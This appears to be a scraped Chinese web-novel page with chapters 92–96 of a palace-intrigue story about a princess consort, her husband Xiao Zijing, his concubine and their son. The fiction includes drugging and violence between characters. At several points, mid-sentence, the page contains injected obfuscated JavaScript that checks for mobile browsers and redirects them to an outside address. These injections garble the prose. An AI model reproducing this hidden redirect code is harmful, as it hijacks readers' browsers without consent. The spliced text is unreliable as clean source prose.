昨晚叶晚竹离开后,阮莹莹身上的药效便开始发作,意识时而清醒,时而模糊,等彻底恢复神智之时,窗外已是天光大亮。 浑身不适,阮莹莹还没坐起身,便听到院中传来冬生惊慌失措的喊声! 萧子景赤身裸体地在院中躺了后半夜,又急又气,临到天亮,终于坚持不住,双眼一翻便昏了过去! 阮莹莹只能又将人送回屋中,再截了吴大夫过来看诊。 萧子景浑身烧得滚烫,口中还在不断地喃喃低语,看得阮莹莹担忧至极。 若萧子景出些什么事……她承受不起! 于是阮莹莹又一迭声地催促起吴大夫来。 “阮姨娘,”吴大夫表情为难,“您总得告诉在下,景平王爷发热前是什么情况,在下才好诊治啊。” 望闻问切少一个多不好,万一把王爷的病耽搁了,他的脑袋也要不保怎么办! 阮莹莹和眼睛通红的冬生对视一瞬,皆是有苦说不出。 昨天晚上的事情,怎么能让外人知道! 可要是不说…… 吴大夫还在眼巴巴地看着,狠狠一咬牙,阮莹莹破釜沉舟地开了口—— 第九十二章 你以为本王是傻子吗? “昨晚,昨晚王爷在我屋中……” “王爷这是怎么了?” 阮莹莹一句话刚起了头,听见叶晚竹的声音响起,她顿时又瞪大了双眼。 叶晚竹大步走进屋里,一眼便看见了萧子景烧得满脸通红的模样。 “王妃。” 终于见到了王妃,被半路劫来的吴大夫大大松了一口气,连忙上前将方才的事情解释了一番。 王妃给他诊金,是让他来给那位小花姑娘看诊的! 叶晚竹听着吴大夫的话,面上掠过一丝不易被察觉的微笑。 “诶呀,无缘无故,王爷怎么会病成这样?”她斜晲着萧子景,又转向阮莹莹,“方才听见阮姨娘说话,是要说什么?” 阮莹莹瞪大了眼睛! 王爷为何会变成这个样子,难道叶晚竹不知道吗? 她这始作俑者,竟然还敢装傻! “怎么,阮姨娘又说不出来了?” 将阮莹莹的愤怒看在眼中,叶晚竹却没有丝毫担心,反而还扬了扬眉。 她倒要看看,阮莹莹敢不敢把昨天晚上的事情说出来。 让所有人都知道,景平王爷又在勾结自己的妾室,对王妃下手! 萧子景和王府上次就是因此惹了昭德帝的厌憎,阮莹莹打了个哆嗦,颤颤巍巍地将眼神转回还在昏迷的萧子景身上。 “昨晚……”她深吸一口气,“王爷在我屋中留宿,喝醉了酒,又吹了风,一早起来就发热了!” 不能不救萧子景,阮莹莹绝望地将责任揽下。 吴大夫皱了皱眉。 他刚才已经给景平王爷号过脉了,王爷的脉象虚浮紊乱,肾精亏损,似乎是用过大量助兴的药物。 这会儿再看阮姨娘欲言又止,遮遮掩掩的模样,吴大夫顿觉明了。 怕是这二位夜里闹得太荒唐,太出格而致! 这话实在说不出口,况且还当着王妃,吴大夫捻了捻胡须,让人取来纸笔,写了一副药方给萧子景。 “若是服药后发热还不好转,府上再差人到医馆来找在下好了。” 阮莹莹刚示意冬生将药方接过,叶晚竹便又开了口。 “吴大夫出诊的诊金是五十两银子。” 吴大夫起身起到一半,险些一个踉跄又坐回去。 他的身价什么时候暴涨的? 阮莹莹也一窒,随即愤怒地朝叶晚竹看来,“姐姐不要太过分!王爷都病成这样了,姐姐手下留情吧!” “若不是妹妹放纵王爷饮酒作乐,王爷怎么会病成这样?” 叶晚竹理直气壮地回望过去,眼底满是笑意。 这话可是阮莹莹刚才亲口说出来的。 阮莹莹气得又涨红了脸。 这个不要脸的**,又拿自己说过的话对付她! 说不过叶晚竹,隐风隐川又一左一右地站在门前,动粗也没有半分胜算,阮莹莹最后只能绝望地又从自己的小金库里取出银票,塞到吴大夫手里。 吴大夫小心翼翼地捧着这银票,方才阮姨娘塞过来的时候,那眼神仿佛给的是**一般。 又坑了阮莹莹一笔,叶晚竹心满意足地带着吴大夫离开,阮莹莹捏着自己所剩无几的盒子,正气得浑身哆嗦,便听见一声闷哼响起。 “王爷!”冬生第一个扑了上去,“您,您醒了?” 萧子景费力地睁开双眼,感到身边的一切似乎都在晃个不停。 冬生的脸出现在面前,他立刻手上用力,将人一把推倒在地。 “滚!没用的奴才!” 萧子景语气愤慨,他还记得昨天晚上,这狗奴才是怎么对着叶晚竹点头哈腰的! 后来他想进屋,这狗奴才怕叶晚竹会发现,硬是只给他找了张破毯子! 他要这样的下人有什么用! 冬生诶呦一声跌坐在地,萧子景的眼神这才又朝着阮莹莹看去。 “王爷……” 他眼底冒着火,阮莹莹的表情也跟着怯弱起来。 “你们、一个一个的都出卖本王!”萧子景胸口起伏,气得连声音都在颤抖。 昨晚阮莹莹的那些话,他也还记得呢! 这些人,口口声声说爱他,以他为命是从,结果一碰上叶晚竹,就一个个地都成了软骨头! 贪生怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522249|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的东西! “王爷息怒啊,王爷!” 阮莹莹蹙着眉头扑上去,一把攥住了萧子景哆嗦着的手腕。 “昨晚那事,毕竟是被姐姐识破了,妾身若一心跟她对着干,万一姐姐在气头上,对王爷做出什么更过分的事情,妾身就真的不知道该如何是好了!” 坚决不能让萧子景厌弃了自己,阮莹莹浑身也泛着凉意,却还是朝萧子景靠过去。 她态度柔顺,声调哀婉。 “姐姐如今气焰正盛,王爷与妾身怕是都奈她不得,妾身本想服个软,等姐姐走后便去将王爷救回屋中,可那**的劲头实在太大,妾身抵抗不住……呜呜呜,都是妾身的错,王爷责罚妾身吧!” 又惊又怕之下,阮莹莹的眼泪并不是假的,大串大串地落在萧子景身上。 向来心疼她的男人这会儿却硬邦邦地坐着,一动不动,连抬手抱住阮莹莹的意思都没有。 一边哭着,阮莹莹一边感到巨大的恐惧朝自己袭来。 “你以为,本王是傻子不成?” “哼!” 伴随着从未听过的冰冷呵斥,阮莹莹同样被萧子景一把推倒在地! 她狼狈地打了个滚,抬起头,眼底全是惊慌失措! “假意服软?” 萧子景双颊通红,眼下却泛着青,再配上惨白的嘴唇,整个人宛如孤魂野鬼一般。 他阴恻恻地笑了一声。 “只是服软,需要你把本王的计划,一股脑地吐出去吗?” 昨晚阮莹莹那几句话,他记得清清楚楚! 还有,什么叫他们对叶晚竹奈何不得? 原来阮莹莹口中说着相信他,实则,却是另一回事! 怒火冲天而起,萧子景忽然感到自己生出了一股力量,他猛地掀开被子,晃晃悠悠地站起身来。 “王爷!您高热未退——啊!” 阮莹莹见状又想上前,却被萧子景一脚踢得再次摔倒在地! “冬生!”萧子景叉着腰,“本王再给你最后一次机会,把这屋子给我仔仔细细地搜一遍,办不好这件事,你就不用再回默言阁了!” 第九十三章 ** 丢下这么一句话,萧子景自己跌跌撞撞地离开了春风居。 阮莹莹的哭喊声从身后传来,又渐渐消失不见。 回到默言阁,院中冷冷清清,因为发不出月例,这里的下人也已经被遣散了大半。 萧子景一头冲进卧房,让人退下后,这才低头神色不明地朝自己身下看去。 昨夜被合欢散的药效笼罩,萧子景只记得那滋味难捱至极,直到他昏迷过去的前一刻,都还在被又麻又痒的痛楚侵袭。 可眼下,他却一点儿感觉都没有了。 终于摆脱了那该死的药效,萧子景却并没有松一口气,反而感到后背上阵阵发凉。 那里不仅没有难受的感觉,也没有一点儿存在的感觉了! 前段时间频频寻医问药,萧子景还记得给自己看诊的大夫说过的话。 他那地方先前被大力抽打,伤得不轻,却没有及时就医,后来又用了烈性的药,两相冲击之下,已经受不了太大的刺激! “王爷,您千万要,要修身养性,少行房事,更不能再用那些烈药了!” 大夫为难的告诫声还在耳畔回想,萧子景的呼吸变得更加起伏不定。 昨天晚上,他算是把不该做的事情都做了个遍! 这下可怎么办? 手下的东西毫无动静,还有阵阵抽痛时不时地传来,萧子景倒吸着冷气,一双眼惊惶地瞪大。 这,这该如何是好? 颓然坐倒在桌边,萧子景面如死灰,难以置信地垂眸凝视着毫无动静的下身…… “王爷,小的回,回来了!” 半晌过去,冬生战战兢兢的声音在门外响起。 萧子景木然将衣裳穿好,出声让他进来。 门一开,冬生怀中抱着几样东西,小心翼翼地一一放在桌上。 “王爷,”他缩着脖子,“这些,这些都是从阮姨娘屋中找到的!” 虽然待在默言阁的日子不好过,但冬生更不想到春风居或者大房,更甚者,被赶出王府! 他铆足了劲在春风居搜索一番,还真收获不小! 萧子景默不作声地看着出现在面前的东西。 几个不起眼的小匣子,打开来里面都塞满了银票;一个放书的竹笼,几本书里面被掏空,换上了码得整整齐齐的金条;最后一个是放在摇椅下的脚踏,底部藏了个扁平的盒子,放着挤成一团的头面首饰。 萧子景伸手将盒子里的首饰一一拿起,认出这是刚回京时,他特意买给阮莹莹的花鸟头面,价值百两黄金。 王府的钱财被叶晚竹拿捏住后,阮莹莹很快便拿出了一千两银子,说是卖掉了头面应急,但时间仓促,只能贱卖。 萧子景还记得自己当时有多感动,越发认定了阮莹莹就是自己未来唯一的妻子,还将一切都许诺给了她。 没想到,没想到! 捏着那枚小小的耳坠,萧子景的身子不住地颤抖着。 原来,她早有准备! 而自己一直被蒙在鼓里! 还有这些金银,足够王府扛过一阵苦日子了! 萧子景又猛地朝桌面上看去,只觉光芒璀璨,晃得他两眼睁都睁不开。 这几个月来,他节衣缩食,卖掉了所有能卖的值钱东西,甚至沦落到去同僚家打秋风的地步! 那些背后的嘲笑,他也不是没听到过! 却原来,金银财宝,就在自己身边,就在阮莹莹手中! 而她整日温良贤淑地陪着自己一起和白菜豆腐开会,丝毫没有表露出来! 他怎么一点儿都没发现呢! 萧子景猛地一脚踢上了桌子,却又被脚趾钻心的疼痛逼得弯下腰去。 他被饿得连张桌子也踢不动了! “王爷您没事吧!” 冬生慌里慌张地扑上来,一把将萧子景扶住,随即又被他身上惊人的热度吓得浑身一哆嗦。 “王爷,您莫要动气,身子重要啊!小的这就去给您熬药!” 萧子景忍住天旋地转的难受,一把攥住冬生的手腕。 “阮姨娘在干什么?”他咬牙切齿地道。 “姨娘,姨娘一直拦着小的,小的便将她暂时关在春风居的耳房里了……” 说着话,冬生哆嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526455|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更加厉害。 他是不是又做错了,王爷又要大发雷霆了? “干得好!” 冬生没想到自己会听到王爷的赞扬,不由得愣住了。 萧子景又解气地冷笑了一声。 “你再去跑一趟,把春风居的下人全都带到默言阁,日后,她们就在这边伺候!” 正好,他这里遣散了一半的下人,干什么都不方便,阮莹莹既然不仁,那就也别怪他不义! “再把春风居的门给本王锁上,告诉管家,只要饿不死,就不许给阮姨娘送饭!” 坐拥这些金银的日子里,阮莹莹应该不会亏待自己吧? 难怪府中人人饿得面黄肌瘦,她却还那样肤白貌美! 而他还一度为此感到庆幸! 想到这儿,萧子景的表情忽然又是一变。 他找来看病的那些大夫,个个都说他用过助兴的烈药,可他一个年轻力壮的武将,连看都不会看那些废物才用的东西! 可昨晚……叶晚竹亲口承认她用了药,萧子景回想起那感觉,却并不陌生! 阮莹莹正式入府那晚,他似乎也感到了相同的躁动! 再一想,他也是那天忽然有心无力—— 她竟然敢给他下药! 萧子景重重地从鼻子里喷出一口气,又催促着冬生,“怎么还不快去!” 冬生一时间还反应不过来,双眼呆滞,离开的脚步也比平时慢了几分。 王爷这,这是要冷落阮姨娘了? 萧子景看着冬生游魂一样的背影消失在自己面前,他垂下目光,很快又无声地冷笑起来。 从前还没看出来,他这随从也是个**,什么事都办不好。 眼下手里有了些钱,还是赶快换一个得力的手下好了。 免得日后再做什么事,还是像现在这样不顺手! 还有—— 思绪忽然被身下的一阵钝痛打断,萧子景猛地倒吸一口冷气,身子控制不住地跟着蜷缩起来。 还有他这玩意儿,也得找个好大夫来看看! 这可不能有什么闪失啊! 第九十四章 王妃才是亲主子! 萧子景和阮莹莹的**在叶晚竹的意料之中,听说阮莹莹被拘禁在春风居中,三日才给一顿饭吃,她也不算意外。 别看萧子景嘴上说的好听,可只要触到他的利益,他的脸变得比谁都快。 特别是阮莹莹还背叛了他。 前世自己死后,没了她这个共同的敌人,也不知道萧子景和阮莹莹还能不能同心协力? “娘亲,我准备好了,咱们走吧!” 小花高高兴兴的声音响起,一句话还没说完,她便已经冲到了叶晚竹身边。 吴大夫前几日来看诊,说小花的伤已经恢复得差不多,可以适当活动活动了。 在屋里憋了这么长时间,小花早就有些耐不住性子,正好蕴秀阁那边有事要办,叶晚竹便打算带她一起过去看看。 马车已经在府外等候,经过上次那算计,叶晚竹索性自掏腰包,给潇湘院添了两辆马车,里里外外用的都是自己的人。 一行人往蕴秀阁去,今日的京城到处载歌载舞,热闹非凡。 许久没有出门,小花早就憋不住了,趴在敞开的车窗兴致勃勃地往外看。 “王妃,今天怎么这么热闹,是又要过节了吗?”她好奇地打量着张灯结彩的京华街。 还没正式将人收养,出门在外,二人还是用着原先的称呼。 叶晚竹也看着城中的欢腾场面。 “大梁和南疆的仗,终于打赢了。”她也笑了起来。 南疆战败,俯首称臣的战报三日前便送到了宫中,昭德帝龙颜大悦,下旨准允城中取消未来半个月的宵禁,还在各处安排了歌舞表演,要与民同乐。 叶晚竹也正是为此事而来。 蕴秀阁已经重新开了张,生意依旧很好,曼娘养好了脚腕,已经能健步如飞地在客人之间游走。 虎子正站在门前等着,见到小花活蹦乱跳的模样,忍不住长长地舒了一口气。 “小姐,您要的人已经到了。”他又看向叶晚竹。 “走,过去看看。” 大胜南疆,也就意味着那美容养肤的草药也即将被运往京城,叶晚竹的计划也可以开始进行了。 曼娘要留在京城坐镇蕴秀阁,叶晚竹便和夏铃商量了一番,由她带着几个靠谱的伙计,到南疆去走一趟,将商路打通。 这不是个轻松的差事,一路翻山越岭,仅靠夏铃几人定是不行,叶晚竹又找了镖局,组了支镖队护送她们往来。 来到后院,一行身材高大的汉子已经站在那里,齐齐朝着叶晚竹看来。 叶晚竹却停下了脚步。 这些真是镖师? 浑身气势逼人,冷意外放,好像胆敢靠近就会被一刀毙命似的,让人都不敢多看一眼。 她下意识地朝虎子看去。 虎子也看呆了。 这些人从后门一拥而入,他也没细看。 怎么这么吓人? “见过王妃!” 气氛诡异,那些“镖师”们却率先开了口。 “我等奉都督之命前来替王妃当差,请王妃放心!”为首之人上前一步,从怀里摸出一个令牌。 叶晚竹接过一看,上面用复杂的花纹隐隐约约勾勒出一个“谢”字。 不是东厂,而是谢。 叶晚竹摩挲着令牌的表面。 上次见面后,谢无咎似乎变得更神秘莫测,简直是神龙见首不见尾。 相应地,在南疆的战报送抵京城之前,最热闹的便是东厂大肆在城中搜捕审查的消息。 “你们主子在干什么?”叶晚竹忍不住问道。 忙成这样,谢无咎还有时间探听她的消息? “主子说,一点琐事,不足挂齿。” 为首的黑衣侍卫显然已经得了谢无咎的指示,又垂头道,“主子还说,待过些日子,再邀王妃相会。” 两人在前方交谈,隐风和隐川忍不住碰了碰视线。 若说他们这些隐字号的是主子身边的近卫,那么这些黑衣的就是近卫中的近卫。 隐字号侍卫都被编入东厂,平素也跟在主子身边露脸办差;可这些黑衣服兄弟们,则是神出鬼没,暗中护卫。 除非有特殊情况,或者他们姓隐的都死光了,否则这些人不会贸然现身的。 现在却被主子派来给王妃的伙计带路。 两人眼底都带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526456|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相仿的神情。 就说王妃才是他们的亲主子! 另一边,叶晚竹已经和这个叫谢逸的侍卫沟通结束,又将夏铃,还有一同前往南疆的伙计们挨个介绍给对面。 夏铃等人虽然不知道对方的身份,但看着便不寻常。 有这样的人护送,她们一路上也能更放心些。 谢逸一行办事干脆利索,约定了出发的时间和路线便告辞离开,黑压压的人影瞬间消失在院中。 “王妃。” 最后只剩下谢逸一人,忽然朝叶晚竹上前两步。 他压低声音,冷峻的眼神朝着叶晚竹身后扫了一下。 “有人在跟着您,是个小男孩。” 叶晚竹闻言倒是笑了笑,“我已经知道了。” 刚从王府出发,隐风便告诉了她,只是她还没顾上管罢了。 待谢逸也离开,叶晚竹走到后门外,弯腰便把萧延从一片灌木丛里拔了出来,一把丢进院里。 “你在干什么?” 萧延一脸惊慌,听着叶晚竹不怀好意的声音,身子也变得僵硬。 “娘——王妃,”他开口先哽了一下,“我……” 他忽然不知道该说些什么。 阮姨娘忽然被关在春风居里,父王不准她出来,连饭都不愿意给她吃。 萧延从前在观竹苑吃不饱饭,就会跑到春风居去,阮姨娘虽然也只会给他吃豆腐白菜,但好歹也能填饱肚子! 他又去找父王,可父王却不知道在干什么,整日把自己关在默言阁里,隔着好远,萧延都能闻到屋里的酒味! 他好害怕,怎么一夜之间,什么都变了? 没饭吃,也没人告诉他发生了什么,萧延饿得肚子咕咕叫,越发想念他的娘亲。 可娘亲一点儿都不想他! 带着这个小野种出来吃喝玩乐,还给她做新衣裳,新鞋子! 他还偷听到这野种叫娘亲! 娘亲是他的! 萧延捏着拳头,嫉妒的眼神死死盯着小花。 是她抢走了一切! 叶晚竹正要说话,小花忽然嗖地一下从自己身后窜了出来。 第九十五章 来啊,打架啊 “你怎么老是偷偷摸摸的?” 小花双手叉腰站在萧延面前,一副雄赳赳气昂昂的模样。 先前偷偷跑到她屋里来威胁人,现在又偷偷跟着王妃的马车。 “一点儿都不光明正大,是因为知道自己做的事不对吗?”她又做了个鬼脸。 萧延是吧,他干的好事,小花可从下人们口中听得不少! “你,你算什么东西,也敢教训我!” 萧延则是猛地瞪大了双眼。 萧子景调查小花没得到自己的想要的结果,后来又出了那么多乱子,萧延根本就不知道小花的真正身世。 “肮脏的野种,不配和本世子说话!” 学着萧子景平日的模样,萧延倨傲地扬起了下巴。 等父王恢复正常,迟早要把这小野种从王府赶出去! 到时候,他要让父王找人打死这个臭丫头! “你——” “我是野种,那你是什么?” 听萧延越说越不像话,虎子刚忍不住开了口,小花却比他更快。 她哈哈大笑两声,嘲讽的目光在萧延身上打量一番。 “我只见过圈养的猪,你是吗?” 还不等萧延反应,小花又啧啧有声地摇起头来。 “猪没你这么干巴,肯定不好吃。” 虎子张开的嘴还没来得及闭上,忍不住噗嗤笑出声来。 小花又学着萧延方才的模样扬起下巴,“圈养的小猪,你怎么也跑出来野?” 轮吵架,萧延嘴巴再恶毒,也比不过小花多年的经验,三两句话便被气得眼眶通红,呼吸都跟着急促起来。 “你,你这个**!” “有猪叫!” 小花故作讶异地瞪大双眼,又一个翻白飞了过去。 这么容易就生气了,还没跟她们抢地盘的乞丐会骂人呢! “你,你你……” 萧延浑身发抖,看着小花时眼中射出了极度仇恨的光! 这个野种竟然敢这么跟他说话! “虎子。” 叶晚竹抬手拉过小花,目光只从萧延身上一扫而过,“把他带走,日后,蕴秀阁不许他靠近半分!” 无论她的哪个地盘,萧家人都不准靠近! 虎子沉着脸吆喝了一声,推推搡搡着萧延的肩膀,把他往外送。 “快走快走!”他皱着眉头,“小小年纪不学好,再有下次,就让人把你打出去!” 话虽如此,可虎子看着还没到自己腰间高的小孩,又瘦骨嶙峋的,手下的动作倒是算不上重。 话说的难听,但到底也是个小孩—— “诶呦!” 还没等虎子在心里感慨完,手腕猛地一痛! 萧延狠狠一口咬上虎子放在他肩头的手,没命地将人一把推开,闷头朝小花扑了过去! “我打死你!”他愤怒地嚎叫着。 敢这样挑衅他! “放肆!” 叶晚竹面色一沉,刚被她牵住的小花却也一头冲了上去! “来!” 不就是打架吗? 谁怕谁呀! 受伤之后,小花已经很久没活动过筋骨了,正闲得难受。 她起手便一拳砸上了萧延的侧脸,发出砰的一声闷响! “菜鸡——哦,不对,菜猪!来打我呀!” 看着萧延脚步踉跄的模样,小花又吐着舌头做起了鬼脸。 骂又不会骂,打也打不过,只会偷偷摸摸地干点坏事。 废物一个! 萧延被这一拳打懵了,一屁股坐倒在地,眼冒金星,连小花在哪都找不到! 他从前只和萧卓萧然打架,那两个也是柳汝兰精心伺候着长大的,又同在王府生活,就算打他也不会下这样的重手。 小花就不一样了。 当小乞丐抢地盘,靠的就是拳头硬!不然怎么保护自己? 就算当初金婶子的儿子来杀她,都被她踹了好几脚呢! 萧延足足在地上坐了四五息的功夫才回过神来,二话不说,翻身又要厮打小花。 “我要杀了你!” 从来从来没有人敢这样对待他! “菜猪,你还不服——” 小花龇着牙正要扑上去,却被叶晚竹揪住了衣领。 “行了。” 旁观了这一场架,叶晚竹轻飘飘地将小花推到书画怀里,自己上前两步,拦在她和萧延之间。 院中的气氛安静下来,萧延抬着头,可怜兮兮地看向叶晚竹。 他的嘴角慢慢有鲜血流了出来。 自己都被打成这样了,娘亲会管他吗? 萧延忐忑不安着,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531552|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神越发可怜。 “还不滚?” 叶晚竹眼底的情绪却没有任何变化。 “小花已经替我打了一顿,你还没挨够,还想被我亲手打?贱不贱啊?” “娘,娘亲……” 听着叶晚竹绝情的话语,萧延眼眶含泪,控制不住地滚落下来。 “萧延。” 叶晚竹压低了声音,同时上前两步,抬手抹掉他脸上的泪痕。 她的动作不算温和,却也不重,和语气一样干干巴巴,什么情绪都没有。 萧延抽噎着,一时有些不知道该如何是好。 哭诉或者抱怨,似乎都不对头。 而在他的记忆当中,娘亲几乎没有叫过他的大名。 “萧延,”叶晚竹这时候又拍了拍他的脸,好让他回神。 “你什么时候才能明白,人是要为自己的行为负责任的?” 看着眼前男孩这幅茫然不知所措的模样,叶晚竹心底满是厌烦。 阮莹莹若是不落魄,萧子景若是不囊中羞涩,萧延怎么会转头来和自己母子情深呢? “去找你父王,找你姨娘,”她直起身来,“你选了他们,就让他们帮你。” 不要总缠着她! “娘!”萧延忽然扑通一声跪了下去,“你是我娘,你生了我,我是你最亲的人,你怎么能不管我!你,你不记得我是被你一口血一口血救活的了吗!” 娘亲不对他冷嘲热讽,也不非打即骂了,他却从未这样害怕过! “原来,你也记得。” 叶晚竹一字一句地道。 “而你,这个被我一口血一口血救活的儿子,打心眼里觉得,被我生下来是一种耻辱。” 萧延张了张嘴,眼泪又滚了下来。 他现在已经不这么想了—— “快滚!” 小花又凶神恶煞地冲了出来,狠狠推了一把萧延的肩膀! 不知好歹! 虎子也没了方才的心软,架起还在怔愣的萧延,一把将他丢出院子,再重重地关上门! 这个没良心的! “娘亲——” 萧延猛地朝着合拢的门板扑去,又抓又挠,却还是没能撼动半分! “娘,娘!别不要我……求求你……” “哟,小孩,这是犯什么错了?” 第九十六章 这种精神,她喜欢! 萧延本是整个人都扑在门上疯狂摇晃,忽然听见从背后传来的声音,所有动作忽然停住了。 下一刻,他猛地转过身,警惕地看着来人。 他这个样子,怎么能被外人看见! “没,我没有!” 抬手胡乱擦了一把脸,萧延努力咽下哭腔,又瞪大双眼。 “不关你的事,走开!” 站在萧延身外三五步的是个青年男人,一身衣裳穿得板板正正,面上带笑,还没说话便先露出三分。 一看上去,这位便是脾气很好的样子。 “你别紧张。” 看着萧延不安的模样,男人彻底笑了起来,更显亲切。 “我是这附近书院的先生,听见你哭,才出来瞧瞧,你这是被人欺负了?”他又皱了皱眉。 萧延这才后知后觉,感到半边脸颊疼得都快麻木了。 可什么也没有他心里这会儿的翻江倒海来得厉害! “要不要我给你报官?”那先生又上前一步,“你脸上这伤可不轻啊,你家在哪,我送你——” “不要!” 萧延连忙摇头,人也越发朝着门板靠了上去。 他要是报官,娘亲只会更讨厌自己! 回王府也没用,父王又不见他! “我不要你报官,我好好的,一点事都没有!”不仅如此,萧延还压低了声音,不再叫嚷,“我,我也不想回府。” 府里没人管他,要是被两个堂哥抓到,还又要挨揍! 萧延越发沮丧起来。 “你这是和家里人吵架了吧?” 先生闻言又重新笑了起来,一脸笃定地摇着头,“你不想回家,要不要到书院坐坐?看你这个年纪,应该也在什么地方读书吧?” 他指了指街对面,的确有间书院,和萧延差不多大小的孩子正进进出出着。 萧延和叶晚竹呆在京中的时候还小,长到要开蒙的年龄,刚囫囵学了几个大字,便被萧子景派人带去了边关。 大军驻扎的边城什么都缺,萧子景忙于战事,他顾不上管萧延,其他人更不敢管。 虽然也不喜欢念书做功课,但看着几个男孩嘻嘻哈哈地结伴往院中去,萧延又抬起袖子,擦了擦还没干涸的泪水。 “好吧。” 见不到娘亲,也不想回王府,去这个学堂转转也不错! “走吧,我带你过去。”先生伸出一只手牵着萧延,“对了,你叫什么……” —— 一墙之隔的蕴秀阁后院里,叶晚竹让人都退下,自己和小花坐在石桌边说话。 “我不能打他吗……” 听着叶晚竹的要求,小花垂下肩膀,整个人都变得没精打采起来。 可想想也对,王妃的亲儿子,王妃自己打也就算了,她一个被收养的孩子…… “是不能这么打。” 叶晚竹不轻不重地在小花脸上捏了一下。 “我不喜欢他,但他是萧子景唯一的儿子,萧子景可是王爷,你要是一拳把他儿子打死,我救你就要花大力气了。” 萧延再不是东西,也不是街上随便的小乞丐,他真要被打出个三长两短,萧子景对叶晚竹动不了手,却会对着小花撒气。 “我能正大光明地收拾他们,是因为我很强,等你也变得这么强的时候,就可以随便动手了,好吗?” 叶晚竹又摸了摸小花的辫子,看到有些散乱的地方,顺手拆开重新编好。 有些事她能做,小花却还做不得。 萧子景是王爷,萧延是王府世子,与这两人相比,就算小花是她的养女,似乎也有些不够尊贵。 看来她得想个办法,让小花的份量也重些。 小花站着没动,一双眼睛咕噜噜地转个不停。 王妃没说不让她打。 说的是不让正面打! “那,那要是萧延回家路上摔了一跤,再被人不小心踩了几脚……” 忍到辫子编好,小花立刻揪住了叶晚竹的衣袖,双眼亮晶晶地看了过去。 “你就这么想揍他?”叶晚竹有些哭笑不得。 “他讨厌,”小花皱起鼻子,“王爷也讨厌!” 王府里只有王妃是大好人! 欺负王妃的人,都是讨厌鬼! “别打**,就行。” 两人很快达成一致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538242|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叶晚竹又将蕴秀阁最近的生意了解了一番,小花依旧跟在她身边。 曼娘讲完了账本,低头看着一脸迷茫的小花,朝叶晚竹投去一个征询的眼神。 “就是她了?” 她知道萧延不是个东西,但曼娘同样没想到,叶晚竹的继承人找得这样快。 “不好吗?” 叶晚竹挑了挑眉。 “这可是要替我报仇的人。” 不想着王府的荣华富贵,也不想着自己日后能过上什么样的好日子。 只想给欺负叶晚竹的人都来上一拳! 这种精神,她喜欢! 待二人回到景平王府,已是华灯初上。 小花本还想让自己的小伙伴们去找萧延的麻烦,谁知道并没有人看见过他,只能无奈放弃,坐在回程的马车上,忍不住嘟起了嘴。 叶晚竹权当看不见,刚进到府中,迎面便是一阵酒气袭来。 “你这**,大半夜的跑到什么地方去了!” 萧子景从一旁绕了过来,酒意未消地拦住叶晚竹的去路。 叶晚竹脚下一顿。 不过是丢了个人,又生了场病,萧子景怎的把自己折腾得如此狼狈? 他半披着发,发尾凌乱地纠缠在一起,身上的衣裳看着是崭新的,却全都是酒水洒落的痕迹。 再看此人,双眼通红,神色迷离,显然是酗酒宿醉过的模样。 “王爷睁睁眼,太阳刚落山。” 她不冷不**后退半步,不想和醉鬼交流。 下一刻,萧子景却把一个明黄色的东西一把塞进叶晚竹怀中。 “宫中来人宣旨,你不在,福顺公公也没让人去找……真是殊宠啊!” 萧子景盯着叶晚竹的眼睛,没忍住打了个酒嗝。 